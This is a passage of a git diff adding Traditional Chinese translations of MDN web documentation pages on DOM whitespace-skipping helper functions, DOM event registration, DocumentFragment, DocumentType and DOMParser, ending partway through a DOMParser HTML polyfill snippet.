+ *               1) |sib| 的下一個「非空白、非註解」節點。
+ *               2) 若該節點後無任何此類節點，則傳回 null。
+ */
+function node_after( sib )
+{
+  while ((sib = sib.nextSibling)) {
+    if (!is_ignorable(sib)) return sib;
+  }
+  return null;
+}
+
+/**
+ * 此為會跳過空白字元節點及註解節點的 |lastChild| 函式
+ * （ lastChild| 是 DOM 節點的特性值，為該節點之中最後一個子節點。）
+ *
+ * @參數   par  節點。
+ * @傳回值      有兩種可能：
+ *               1) |par| 中最後一個「非空白、非註解」節點。
+ *               2) 若該節點中無任何此類子節點，則傳回 null。
+ */
+function last_child( par )
+{
+  var res=par.lastChild;
+  while (res) {
+    if (!is_ignorable(res)) return res;
+    res = res.previousSibling;
+  }
+  return null;
+}
+
+/**
+ * 此為會跳過空白字元節點及註解節點的 |firstChild| 函式
+ *
+ * @參數   par  節點。
+ * @傳回值      有兩種可能：
+ *               1) |par| 中第一個「非空白、非註解」節點。
+ *               2) 若該節點中無任何此類子節點，則傳回 null。
+ */
+function first_child( par )
+{
+  var res=par.firstChild;
+  while (res) {
+    if (!is_ignorable(res)) return res;
+    res = res.nextSibling;
+  }
+  return null;
+}
+
+/**
+ * 此為傳回值不包含文字節點資料的首尾所有空白字元、
+ * 並將兩個以上的空白字元縮減為一個的 |data| 函式。
+ *（ data 是 DOM 文字節點的特性值，為該文字節點中的資料。）
+ *
+ * @參數   txt 欲傳回其中資料的文字節點
+ * @傳回值     文字節點的內容，其中空白字元已依前述方式處理。
+ */
+function data_of( txt )
+{
+  var data = txt.data;
+  // Use ECMA-262 Edition 3 String and RegExp features
+  data = data.replace(/[\t\n\r ]+/g, " ");
+  if (data.charAt(0) == " ")
+    data = data.substring(1, data.length);
+  if (data.charAt(data.length - 1) == " ")
+    data = data.substring(0, data.length - 1);
+  return data;
+}
+</pre>
+<h4 id=".E7.AF.84.E4.BE.8B" name=".E7.AF.84.E4.BE.8B">範例</h4>
+<p>以下示範上述函式的應用方法，在節點結構中依序檢查、找出內容為「<code>"This is the third paragraph"</code>」的節點，並修改其 class 屬性及文字內容。</p>
+<pre>var cur = first_child(document.getElementById("test"));
+while (cur)
+{
+  if (data_of(cur.firstChild) == "This is the third paragraph.")
+  {
+      cur.className = "magic";
+      cur.firstChild.data = "This is the magic paragraph.";
+  }
+  cur = node_after(cur);
+}
+</pre>
+<div class="originaldocinfo">
+  <h4 id=".E5.8E.9F.E6.96.87.E8.B3.87.E8.A8.8A" name=".E5.8E.9F.E6.96.87.E8.B3.87.E8.A8.8A">原文資訊</h4>
+  <ul>
+    <li>作者：<a class="external" href="http://dbaron.org">L. David Baron</a></li>
+    <li>最後更新：January 1, 2003</li>
+    <li>版權資訊：© 1998-2005 by individual mozilla.org contributors; 內容部份以 <a class="external" href="http://www.mozilla.org/foundation/licensing/website-content.html">創意公用</a>方式授權。</li>
+  </ul>
+</div>
diff --git a/files/zh-tw/web/api/document_object_model/事件/index.html b/files/zh-tw/web/api/document_object_model/事件/index.html
new file mode 100644
index 0000000000..ff4ecfe572
--- /dev/null
+++ b/files/zh-tw/web/api/document_object_model/事件/index.html
@@ -0,0 +1,69 @@
+---
+title: 事件與DOM
+slug: Web/API/Document_Object_Model/事件
+translation_of: Web/API/Document_Object_Model/Events
+---
+<h2 id="Introduction" name="Introduction">Introduction</h2>
+
+<p>This chapter describes the DOM Event Model. The <a href="http://www.w3.org/TR/DOM-Level-2-Events/events.html#Events-Event">Event</a> interface itself is described, as well as the interfaces for event registration on nodes in the DOM, and <a href="/en-US/docs/Web/API/EventTarget.addEventListener">event listeners</a>, and several longer examples that show how the various event interfaces relate to one another.</p>
+
+<p>There is an excellent diagram that clearly explains the three phases of event flow through the DOM in the <a href="http://www.w3.org/TR/DOM-Level-3-Events/#dom-event-architecture">DOM Level 3 Events draft</a>.</p>
+
+<p>Also see <a href="/en-US/docs/DOM/DOM_Reference/Examples#Example_5:_Event_Propagation">Example 5: Event Propagation</a> in the Examples chapter for a more detailed example of how events move through the DOM.</p>
+
+<h2 id="DOM_event_handler_List" name="DOM_event_handler_List">Registering event listeners</h2>
+
+<p>There are 3 ways to register event handlers for a DOM element.</p>
+
+<h3 id="EventTarget.addEventListener" name="EventTarget.addEventListener"><a href="/en-US/docs/Web/API/EventTarget.addEventListener"><code>EventTarget.addEventListener</code></a></h3>
+
+<pre class="brush: js">// Assuming myButton is a button element
+myButton.addEventListener('click', function(){alert('Hello world');}, false);
+</pre>
+
+<p>This is the method you should use in modern web pages.</p>
+
+<p>Note: Internet Explorer 6-8 didn't support this method, offering a similar {{domxref("EventTarget.attachEvent")}} API instead. For cross-browser compatibility use one of the many JavaScript libraries available.</p>
+
+<p>More details can be found on the {{domxref("EventTarget.addEventListener")}} reference page.</p>
+
+<h3 id="HTML_attribute" name="HTML_attribute"><a href="/en-US/docs/Web/Guide/HTML/Event_attributes">HTML attribute</a></h3>
+
+<pre class="brush: html">&lt;button onclick="alert('Hello world!')"&gt;
+</pre>
+
+<p>The JavaScript code in the attribute is passed the Event object via the <code>event</code> parameter. <a href="http://dev.w3.org/html5/spec/webappapis.html#the-event-handler-processing-algorithm">The return value is treated in a special way, described in the HTML specification</a>.</p>
+
+<p>This way should be avoided. This makes the markup bigger and less readable. Concerns of content/structure and behavior are not well-separated, making a bug harder to find.</p>
+
+<h3 id="DOM_element_properties" name="DOM_element_properties">DOM element properties</h3>
+
+<pre class="brush: js">// Assuming myButton is a button element
+myButton.onclick = function(event){alert('Hello world');};
+</pre>
+
+<p>The function can be defined to take an <code>event</code> parameter. <a href="http://dev.w3.org/html5/spec/webappapis.html#the-event-handler-processing-algorithm">The return value is treated in a special way, described in the HTML specification</a>.</p>
+
+<p>The problem with this method is that only one handler can be set per element and per event.</p>
+
+<h2 id="Accessing_Event_interfaces">Accessing Event interfaces</h2>
+
+<p>Event handlers may be attached to various objects including DOM elements, document, the <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects">window object</a>, etc. When an event occurs, an event object is created and passed sequentially to the event listeners.</p>
+
+<p>The {{domxref("Event")}} interface is accessible from within the handler function, via the event object passed as the first argument. The following simple example shows how an event object is passed to the event handler function, and can be used from within one such function.</p>
+
+<pre class="brush: js">function foo(evt) {
+  // the evt parameter is automatically assigned the event object
+  alert(evt);
+}
+table_el.onclick = foo;
+</pre>
+
+<h2 id="Subnav">Subnav</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Document_Object_Model">DOM Reference</a></li>
+ <li><a href="/en-US/docs/Web/API/Document_Object_Model/Introduction">Introduction to the DOM</a></li>
+ <li><a href="/en-US/docs/Web/API/Document_Object_Model/Events">Events and the DOM</a></li>
+ <li><a href="/en-US/docs/Web/API/Document_Object_Model/Examples">Examples</a></li>
+</ul>
diff --git a/files/zh-tw/web/api/documentfragment/index.html b/files/zh-tw/web/api/documentfragment/index.html
new file mode 100644
index 0000000000..a3926841e0
--- /dev/null
+++ b/files/zh-tw/web/api/documentfragment/index.html
@@ -0,0 +1,248 @@
+---
+title: DocumentFragment
+slug: Web/API/DocumentFragment
+translation_of: Web/API/DocumentFragment
+---
+<p>{{ ApiRef("DOM") }}</p>
+
+<p><strong><span class="external"><code>DocumentFragment</code></span></strong> 介面表示了一個沒有父節點的最小化文件物件。<code>DocumentFragment</code> 被當作一種輕量化的 {{domxref("Document")}}，用如同標準文件一般的方式保存片段的文件結構（由節點組成）。關鍵的區別在於文件片段不是真實的 DOM 結構，文件片段的變動並不會影響目前的網頁文件，也不會導致回流（{{Glossary("reflow")}}）或引起任何影響效能的情況發生。</p>
+
+<p>一般的用法是建立一個 <code>DocumentFragment</code> 物件，在此物件中組織一個 DOM 的子樹。再使用 {{domxref("Node")}} 介面定義的方法，如 {{domxref("Node.appendChild", "appendChild()")}} 或 {{domxref("Node.insertBefore", "insertBefore()")}} 將這個文件片段加入或插入目前頁面的 DOM 當中。執行這個將文件片段中的節點置入 DOM 的動作之後，會留下一個空的 <code>DocumentFragment</code> 物件（只會插入物件中的節點，<code>DocumentFragment</code> 物件本身不會被插入）。由於文件片段中的所有節點是一次性的被插入目前頁面文件當中，故回流及頁面渲染只會被觸發一次，所以可用插入 <code>DocumentFragment</code> 物件的方式取代傳統分別插入多個節點至 DOM（將節點一個一個分次進行插入）的操作方式。</p>
+
+<p>此介面也適合與 Web components 搭配使用：{{HTMLElement("template")}} 元素在其 {{domxref("HTMLTemplateElement.content")}} 屬性中便包含了一個 <code>DocumentFragment</code> 物件。</p>
+
+<p>可使用 {{domxref("document.createDocumentFragment()")}} 方法或 <code>DocumentFragment</code> 的建構式來建立一個空的 <code>DocumentFragment</code> 物件。</p>
+
+<h2 id="Specification" name="Specification">屬性</h2>
+
+<p><em>This interface has no specific properties, but inherits those of its parent, </em><em>{{domxref("Node")}}, and implements those of the {{domxref("ParentNode")}} interface.</em></p>
+
+<dl>
+ <dt>{{ domxref("ParentNode.children") }} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Returns a live {{domxref("HTMLCollection")}} containing all objects of type {{domxref("Element")}} that are children of the <code>DocumentFragment</code> object.</dd>
+ <dt>{{ domxref("ParentNode.firstElementChild") }} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Returns the {{domxref("Element")}} that is the first child of the <code>DocumentFragment</code> object, or <code>null</code> if there is none.</dd>
+ <dt>{{ domxref("ParentNode.lastElementChild") }} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Returns the {{domxref("Element")}} that is the last child of the <code>DocumentFragment</code> object, or <code>null</code> if there is none.</dd>
+ <dt>{{ domxref("ParentNode.childElementCount") }} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Returns an <code>unsigned long</code> giving the amount of children that the <code>DocumentFragment</code> has.</dd>
+</dl>
+
+<h2 id="建構式">建構式</h2>
+
+<dl>
+ <dt>{{ domxref("DocumentFragment.DocumentFragment()", "DocumentFragment()") }} {{experimental_inline}}</dt>
+ <dd>Returns an empty <code>DocumentFragment</code> object.</dd>
+</dl>
+
+<h2 id="方法">方法</h2>
+
+<p><em>This interface inherits the methods of its parent, {{domxref("Node")}}<em>, and implements those of the {{domxref("ParentNode")}} interface</em></em><em>.</em></p>
+
+<dl>
+ <dt>{{domxref("DocumentFragment.find()")}} {{experimental_inline}}</dt>
+ <dd>Returns the first matching {{domxref("Element")}} in the tree of the <code>DocumentFragment</code>.</dd>
+ <dt>{{domxref("DocumentFragment.findAll()")}} {{experimental_inline}}</dt>
+ <dd>Returns a {{domxref("NodeList")}} of matching {{domxref("Element")}} in the tree of the <code>DocumentFragment</code>.</dd>
+ <dt>{{domxref("DocumentFragment.querySelector()")}}</dt>
+ <dd>Returns the first {{domxref("Element")}} node within the <code>DocumentFragment</code>, in document order, that matches the specified selectors.</dd>
+ <dt>{{domxref("DocumentFragment.querySelectorAll()")}}</dt>
+ <dd>Returns a {{domxref("NodeList")}} of all the {{domxref("Element")}} nodes within the <code>DocumentFragment</code> that match the specified selectors.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("DocumentFragment.getElementById()")}}</dt>
+ <dd>Returns the first {{domxref("Element")}} node within the <code style="font-size: 14px;">DocumentFragment</code>, in document order, that matches the specified ID.</dd>
+</dl>
+
+<h2 id="Specifications" name="Specifications">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#interface-documentfragment', 'DocumentFragment')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Added the constructor and the implementation of {{domxref("ParentNode")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Selectors API Level 2', '#the-apis', 'DocumentFragment')}}</td>
+   <td>{{Spec2('Selectors API Level 2')}}</td>
+   <td>Added the <code>find()</code> and <code>findAll()</code> methods.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Selectors API Level 1', '#the-apis', 'DocumentFragment')}}</td>
+   <td>{{Spec2('Selectors API Level 1')}}</td>
+   <td>Added the <code>querySelector()</code> and <code>querySelectorAll()</code> methods.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#ID-B63ED1A3', 'DocumentFragment')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>No change from {{SpecName('DOM2 Core')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-B63ED1A3', 'DocumentFragment')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>No change from {{SpecName('DOM1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-core.html#ID-B63ED1A3', 'DocumentFragment')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>querySelector()</code> and <code>querySelectorAll()</code></td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>8.0</td>
+   <td>10.0</td>
+   <td>3.2 (525.3)</td>
+  </tr>
+  <tr>
+   <td><code>findAll()</code> and <code>find() </code>{{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>DocumentFragment()</code> constructor {{experimental_inline}}</td>
+   <td>28.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("24.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>15.0</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>ParentNode</code> properties {{experimental_inline}}</td>
+   <td>28.0</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("25.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>15.0</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>ParentNode</code> methods {{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>querySelector()</code> and <code>querySelectorAll()</code></td>
+   <td>2.1</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}}</td>
+   <td>8.0</td>
+   <td>10.0</td>
+   <td>3.2 (525.3)</td>
+  </tr>
+  <tr>
+   <td><code>findAll()</code> and <code>find() </code>{{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>DocumentFragment()</code> constructor {{experimental_inline}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("24.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>ParentNode</code> properties {{experimental_inline}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("25.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>5.0</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>ParentNode</code> methods {{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li><a href="/docs/DOM/DOM_Reference" title="/en-US/docs/DOM/DOM_Reference">The DOM interfaces index.</a></li>
+</ul>
diff --git a/files/zh-tw/web/api/documenttype/index.html b/files/zh-tw/web/api/documenttype/index.html
new file mode 100644
index 0000000000..f0d7ae32b4
--- /dev/null
+++ b/files/zh-tw/web/api/documenttype/index.html
@@ -0,0 +1,200 @@
+---
+title: DocumentType
+slug: Web/API/DocumentType
+tags:
+  - API
+  - DOM
+  - DocumentType
+  - Interface
+translation_of: Web/API/DocumentType
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><strong><code>DocumentType</code></strong> 介面表示了一個代表文件類型的 {{domxref("Node")}} 節點。</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="屬性">屬性</h2>
+
+<p><em>此介面繼承了其父介面 {{domxref("Node")}} 的屬性，以及實作了 {{domxref("ChildNode")}} 介面。</em></p>
+
+<dl>
+ <dt>{{domxref("DocumentType.entities")}} {{readonlyInline}} {{obsolete_Inline}}</dt>
+ <dd>A {{domxref("NamedNodeMap")}} of entities declared in the DTD. Every node in this map implements the {{domxref("Entity")}} interface.</dd>
+ <dt>{{domxref("DocumentType.internalSubset")}} {{readonlyInline}} {{obsolete_Inline}}</dt>
+ <dd>A {{domxref("DOMString")}} of the internal subset, or <code>null</code> if there is none. Eg <code>"&lt;!ELEMENT foo (bar)&gt;"</code>.</dd>
+ <dt>{{domxref("DocumentType.name")}} {{readonlyInline}}</dt>
+ <dd>A {{domxref("DOMString")}}, eg <code>"html"</code> for <code>&lt;!DOCTYPE HTML&gt;</code>.</dd>
+ <dt>{{domxref("DocumentType.notations")}} {{readonlyInline}} {{obsolete_Inline}}</dt>
+ <dd>A {{domxref("NamedNodeMap")}} with notations declared in the DTD. Every node in this map implements the {{domxref("Notation")}} interface.</dd>
+ <dt>{{domxref("DocumentType.publicId")}} {{readonlyInline}}</dt>
+ <dd>A {{domxref("DOMString")}}, eg <code>"-//W3C//DTD HTML 4.01//EN"</code>, empty string for HTML5.</dd>
+ <dt>{{domxref("DocumentType.systemId")}} {{readonlyInline}}</dt>
+ <dd>A {{domxref("DOMString")}}, eg <code>"http://www.w3.org/TR/html4/strict.dtd"</code>, empty string for HTML5.</dd>
+</dl>
+
+<h2 id="方法">方法</h2>
+
+<p><em>此介面繼承了其父介面 {{domxref("Node")}} 的方法，以及實作了 {{domxref("ChildNode")}} 介面。</em></p>
+
+<dl>
+ <dt>{{domxref("ChildNode.remove()")}} {{experimental_inline}}</dt>
+ <dd>Removes the object from its parent children list.</dd>
+</dl>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#documenttype', 'DocumentType')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Added implemention of the {{domxref("ChildNode")}} interface.<br>
+    Removed the <code>internalSubset</code>, <code>entities</code>, and <code>notation</code> properties.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#ID-412266927', 'DocumentType')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>No change from {{SpecName('DOM2 Core')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-412266927', 'DocumentType')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>Added the <code>publicID</code>, <code>systemID</code>, and <code>internalSubset</code> properties.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-core.html#ID-412266927', 'DocumentType')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>entities</code> and <code>notations</code></td>
+   <td>1.0<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}<sup>[3]</sup></td>
+   <td>{{CompatGeckoDesktop("1.0")}}<br>
+    {{CompatNo}}{{CompatGeckoDesktop("6.0")}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[3]</sup></td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>internalSubset</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}} (not anymore in any case)</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Implements {{domxref("ChildNode")}}</td>
+   <td>29.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("25.0")}}<sup>[2]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>16.0</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>entities</code> and <code>notations</code></td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}}<br>
+    {{CompatNo}}{{CompatGeckoMobile("6.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>internalSubset</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Implements {{domxref("ChildNode")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("25.0")}}<sup>[2]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>16.0</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] The Chromium project plans to drop supports for the <code>internalSubset</code>, <code>entities</code> and <code>notations</code> methods.</p>
+
+<p>[2] Firefox 25 also added the <code>previousElementSibling</code> and <code>nextElementSibling properties</code>, this was removed in Firefox 28 due to compatibility problems.</p>
+
+<p>[3] <code>entities</code> and <code>notations</code> properties exist in IE and Edge, but seem to always be <code>null</code>?</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li><a href="/zh-TW/docs/DOM/DOM_Reference">The DOM interfaces index.</a></li>
+ <li>{{domxref("Entity")}}</li>
+ <li>{{domxref("Notation")}}</li>
+</ul>
diff --git a/files/zh-tw/web/api/domparser/index.html b/files/zh-tw/web/api/domparser/index.html
new file mode 100644
index 0000000000..4ded67f1c3
--- /dev/null
+++ b/files/zh-tw/web/api/domparser/index.html
@@ -0,0 +1,200 @@
+---
+title: DOMParser
+slug: Web/API/DOMParser
+tags:
+  - DOMParser SVG XML
+translation_of: Web/API/DOMParser
+---
+<p>{{APIRef("DOM")}}{{SeeCompatTable}}</p>
+
+<p><code>DOMParser可以將XML或是HTML格式的字串轉成</code>DOM <a href="/en-US/docs/DOM/document">文件</a>. <code>DOMParser</code>的規格請參閱<a href="http://html5.org/specs/dom-parsing.html">DOM解譯與串流化</a>.</p>
+
+<p>請注意<a href="/en-US/docs/DOM/XMLHttpRequest" title="DOM/XMLHttpRequest">XMLHttpRequest</a>解譯的是URL連結內容裡的XML與HTML文件.</p>
+
+<h2 id="產生一個_DOMParser">產生一個 DOMParser</h2>
+
+<p>" <code>new DOMParser()" 可產生DOMParser</code>.</p>
+
+<p><code>關於如何在Firefox外掛程式中產生DOMParser,</code>請參考<code><a href="/en-US/docs/nsIDOMParser" title="nsIDOMParser">nsIDOMParser</a>文件</code></p>
+
+<h2 id="解譯_XML">解譯 XML</h2>
+
+<p>產生解譯物件後，請呼叫<code>parseFromString方法函式來將XML字串轉換成DOM物件</code>:</p>
+
+<pre class="brush: js">var parser = new DOMParser();
+var doc = parser.parseFromString(stringContainingXMLSource, "application/xml");
+</pre>
+
+<h3 id="Error_handling" name="Error_handling">錯誤處理</h3>
+
+<p>請注意如果解譯過程出錯,目前的<code>DOMParser不會丟出異常物件(exception)，但是會回傳一個錯誤文件</code>(請看程式臭蟲{{Bug(45566)}}):</p>
+
+<pre class="brush:xml">&lt;parsererror xmlns="http://www.mozilla.org/newlayout/xml/parsererror.xml"&gt;
+(error description)
+&lt;sourcetext&gt;(a snippet of the source XML)&lt;/sourcetext&gt;
+&lt;/parsererror&gt;
+</pre>
+
+<p>解譯錯誤也會記錄在錯誤終端機中（<a href="/en-US/docs/Error_Console" title="Error Console">Error Console</a>）, 紀錄裡頭的文件URI (如下) 則為錯誤來源.</p>
+
+<h2 id="解譯_SVG_或_HTML_文件">解譯 SVG 或 HTML 文件</h2>
+
+<p><code>DOMParser也可以用來解譯 </code>SVG 文件 {{geckoRelease("10.0")}} 或是 HTML 文件 {{geckoRelease("12.0")}}. 可以依 MIME 格式，輸出三種不同格式. 如果MIME 格式是 <code>text/xml</code>,輸出的格式為 <code>XMLDocument</code>, 如果 MIME 格式是 <code>image/svg+xml</code>, 輸出格式為 <code>SVGDocument,</code> 如果 MIME 格式是 <code>text/html</code>, 輸出格式則為 <code>HTMLDocument</code>.</p>
+
+<pre class="brush: js">var parser = new DOMParser();
+var doc = parser.parseFromString(stringContainingXMLSource, "application/xml");
+// returns a Document, but not a SVGDocument nor a HTMLDocument
+
+parser = new DOMParser();
+doc = parser.parseFromString(stringContainingXMLSource, "image/svg+xml");
+// returns a SVGDocument, which also is a Document.
+
+parser = new DOMParser();
+doc = parser.parseFromString(stringContainingHTMLSource, "text/html");
+// returns a HTMLDocument, which also is a Document.
+</pre>
+
+<h3 id="其他瀏覽器可用的DOMParser_HTML_外掛程式">其他瀏覽器可用的DOMParser HTML 外掛程式</h3>
+
+<pre class="brush: js">/*
+ * DOMParser HTML extension
+ * 2012-09-04
+ *
+ * By Eli Grey, http://eligrey.com
+ * Public domain.
+ * NO WARRANTY EXPRESSED OR IMPLIED. USE AT YOUR OWN RISK.
+ */
+
+/*! @source https://gist.github.com/1129031 */
+/*global document, DOMParser*/
+
+(function(DOMParser) {
+	"use strict";
+
+	var
+	  proto = DOMParser.prototype
+	, nativeParse = <span style="font-size: 1rem;">proto</span><span style="font-size: 1rem;">.parseFromString</span>
+	;
+
+	// Firefox/Opera/IE throw errors on unsupported types
+	try {
+		// WebKit returns null on unsupported types
+		if ((new DOMParser()).parseFromString("", "text/html")) {
+			// text/html parsing is natively supported
+			return;
+		}
+	} catch (ex) {}
+
+	<span style="font-size: 1rem;">proto</span><span style="font-size: 1rem;">.parseFromString = function(markup, type) {</span>
